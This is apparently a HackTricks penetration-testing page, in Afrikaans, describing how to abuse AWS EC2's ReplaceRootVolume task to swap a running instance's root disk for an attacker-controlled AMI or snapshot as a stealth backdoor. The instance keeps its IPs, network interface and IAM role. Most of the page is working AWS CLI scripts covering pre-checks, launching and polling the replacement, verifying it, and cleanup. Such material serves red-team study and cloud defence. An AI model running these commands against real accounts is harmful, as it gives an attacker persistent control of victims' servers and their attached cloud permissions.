# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)

{{#include ../../../../banners/hacktricks-training.md}}

Misbruik **ec2:CreateReplaceRootVolumeTask** om die root EBS-volume van 'n lopende instansie te vervang met een wat uit 'n deur die aanvaller beheerde AMI of snapshot herstel is. Die instansie word outomaties herbegin en hervat met die deur die aanvaller beheerde root-lêerstelsel, terwyl ENIs, private/public IPs, aangehegte nie-root-volumes, en die instansie se metadata/IAM role behoue bly.

## Vereistes
- Teiken-instansie is EBS-backed en lopend in dieselfde streek.
- Kompatibele AMI of snapshot: dieselfde argitektuur/virtualisering/boot-modus (en produk-kodes, indien enige) as die teiken-instansie.

## Voorafkontroles
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>

# Ensure EBS-backed
aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text

# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## Vervang root vanaf AMI (verkieslik)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>

# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)

# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
Alternatief deur 'n snapshot te gebruik:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## Bewyse / Verifikasie
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)

# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"

# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Verwag: ENI_ID en PRI_IP bly dieselfde; die root volume ID verander van $ORIG_VOL na $NEW_VOL. Die stelsel boot met die lêerstelsel van die attacker-controlled AMI/snapshot.

## Notas
- Die API vereis nie dat jy die instansie handmatig stop nie; EC2 orkestreer 'n herbegin.
- Standaard word die vervangde (ou) root EBS-volume losgemaak en in die rekening gelaat (DeleteReplacedRootVolume=false). Dit kan vir rollback gebruik word of moet verwyder word om koste te vermy.

## Rollback / Opruiming
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP

# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}
